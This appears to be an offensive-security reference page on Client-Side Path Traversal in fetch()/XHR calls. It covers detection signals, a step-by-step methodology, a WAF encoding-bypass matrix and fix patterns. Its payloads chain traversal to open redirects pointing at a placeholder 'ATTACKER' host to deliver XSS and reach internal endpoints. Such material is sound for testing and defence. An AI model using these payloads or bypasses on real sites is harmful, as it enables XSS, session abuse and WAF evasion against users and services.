Cspt

Client-Side Path Traversal (CSPT)

What Is Broken and Why

Client-Side Path Traversal occurs when attacker-controlled input is concatenated directly into the path component of a JavaScript fetch() or XHR URL without proper encoding. The injected ../ sequences traverse the URL path, redirecting the request to an unintended endpoint. Unlike server-side path traversal (which reads files), CSPT redirects API calls — enabling response injection, data exfiltration, and XSS when chained with an open redirect that fetch() auto-follows to an attacker-controlled domain.

Key Signals

• JavaScript source with user-controlled input concatenated into a fetch/XHR path:

  fetch("/api/users/" + userId + "/profile")
  fetch(`/api/posts/${postId}/comments`)
  xhr.open("GET", "/api/data/" + param)
  

• Input lands in the path segment (before ?), not the query string
• No encodeURIComponent() wrapping the input, or encoding applied only to specific chars
• Application has open redirect endpoints (/redirect?u=, /oauth/authorize?redirect_uri=)
• SPA frameworks where routing inputs feed directly into API calls
• Response content is rendered as HTML or passed to innerHTML / eval()

Methodology

1. Map all fetch() / XHR calls in JavaScript source — look for string concatenation in the URL path.
2. Identify which parameters control the path segment (not query string).
3. Test basic traversal: inject ../../../anything — did the request path change?
4. Determine depth needed: count path segments to traverse to root or to a useful endpoint.
5. Find a usable gadget endpoint — open redirect (/redirect?u=ATTACKER) or any endpoint whose response is reflected in the DOM.
6. Craft final payload: traverse to the gadget, chain to attacker-controlled response.
7. If WAF blocks, apply encoding bypass strategy (see table below).
8. Confirm XSS or data exfiltration via OOB callback.

WAF Bypass: Encoding Level Matrix

Situation	Strategy	Example
No WAF	Use plain ../	../../../gadget
WAF level = App level	Encode dots: %2e%2e/	%2e%2e/%2e%2e/%2e%2easdf
WAF level < App level	Over-encode slashes	..%252f..%252f..%252fasdf
WAF level > App level	Pad with dummy segments	a%252fa%252fa%252fa/../../../../asdf

Depth = (number of path segments) − (number of ../ sequences). WAFs check that depth never goes negative. Pad to keep WAF depth ≥ 0 while making app depth < 0.

Payloads & Tools

// Basic CSPT test — confirm path traversal in fetch
fetch("/api/users/../../../anything")
// → request goes to /anything

// Traverse to open redirect gadget for XSS
// Target app has: /redirect?u=<URL> → 302 to URL
// fetch() auto-follows redirects by default
fetch("/api/users/../../../../redirect?u=https://ATTACKER/evil.json")
// → fetch follows redirect → attacker controls response

// Depth calculation example
// Vulnerable URL: /api/users/{id}/profile
// Segments above id: 3 (/api/users/profile)
// Need 3 x "../" to reach root
payload = "../../../redirect?u=https://ATTACKER/payload"

# WAF bypass payloads (equal encoding levels — encode dots)
%2e%2e/%2e%2e/%2e%2eredirect?u=https://ATTACKER

# WAF level < App level (double-encode slash)
..%252f..%252f..%252fredirect?u=https://ATTACKER

# WAF level > App level (pad with dummy segments WAF decodes away)
a%252fa%252fa%252fa/../../../redirect?u=https://ATTACKER

# Burp: intercept, modify path param, inject traversal sequences
# Search JS source for fetch/XHR concatenation patterns
grep -rn 'fetch(\|xhr.open\|axios.get\|axios.post' src/ | grep '+'
grep -rn 'fetch(`\|fetch("' src/ | grep '\${'

Bypass Techniques

• %2e%2e/ instead of ../: browser normalizes %2e to . — functionally identical but bypasses string-match WAFs
• Double-encoded slash (%252f): WAF decodes once → %2f (safe-looking); app/browser decodes again → / (traversal)
• Mixed encoding: combine %2e%2e with %252f: %2e%2e%252f — confuses WAFs that check for specific patterns
• Null byte / fragment: some implementations stop path processing at %00 or # — may truncate WAF's depth check
• Redirect chain: if direct domain SSRF is blocked, chain through multiple open redirects on trusted domains
• fetch() redirect modes: fetch(url, {redirect: 'follow'}) is default — attacker's redirect is automatically followed including cross-origin

Exploitation Scenarios

Scenario 1 — CSPT → Open Redirect → XSS Setup: SPA fetches user content via fetch("/api/posts/" + postId) and renders the JSON response into the DOM. App also has /oauth/redirect?to=<URL> open redirect endpoint. Trigger: Attacker sets postId = "../../../../oauth/redirect?to=https://ATTACKER/evil.json". Impact: fetch() follows redirect to attacker's server → attacker returns crafted JSON with XSS payload → app renders it into DOM → stored or reflected XSS.

Scenario 2 — CSPT for internal endpoint access Setup: Frontend fetches /api/v1/users/{id}/settings — id comes from URL hash fragment without encoding. Internal endpoint /api/v1/admin/config is not accessible from outside but is reachable server-side. Trigger: Attacker injects ../../../../admin/config as the id. Impact: fetch() sends request to /api/v1/admin/config with the victim's session cookie — response returned to attacker via XSS gadget or exfiltrated.

Scenario 3 — WAF bypass via encoding mismatch Setup: WAF decodes once before depth-checking; app passes encoded URL to browser which decodes twice. Trigger: Attacker uses ..%252f..%252f..%252fredirect?u=https://ATTACKER — WAF sees ..%2f..%2f..%2fredirect (depth 0, benign); browser sees ../../../redirect (traversal). Impact: WAF passes the request; browser executes traversal; open redirect reached; XSS achieved.

False Positives

• Input lands in query string (?id=../..) not path — server routing ignores it, no traversal
• encodeURIComponent() wraps the input — ../ becomes ..%2F which browsers do NOT normalize back in the path
• Fetch request targets a static file server that doesn't serve sensitive endpoints at the traversed path
• Response is not rendered or used in any DOM-modifying operation — traversal has no impact

Fix Patterns

// WRONG: direct concatenation into path
fetch("/api/posts/" + postId + "/comments")

// CORRECT: encode the input — encodeURIComponent prevents traversal
fetch("/api/posts/" + encodeURIComponent(postId) + "/comments")

// CORRECT: validate input is a safe identifier (no slashes or dots)
if (!/^[a-zA-Z0-9_-]+$/.test(postId)) throw new Error("Invalid ID");
fetch("/api/posts/" + postId + "/comments")

• Always apply encodeURIComponent() to user-controlled values inserted into URL paths
• Validate that path parameters match expected format (alphanumeric IDs, UUIDs) before use
• Do not rely on WAF depth-checking alone — fix at the source
• Audit all fetch()/XHR calls where the URL is constructed via string concatenation or template literals with user input

Related Skills

[[dom-xss]] is the most common impact of CSPT: the path traversal redirects fetch() to an attacker-controlled URL that returns a payload rendered into a dangerous DOM sink like innerHTML. [[csrf]] is another direct chain — CSPT can redirect a form's fetch target to change the endpoint a state-changing submission hits, effectively forging the destination of an authenticated request. The WAF encoding bypass matrix here parallels [[path-traversal]] encoding techniques, since both exploit URL normalization disagreements between parser layers.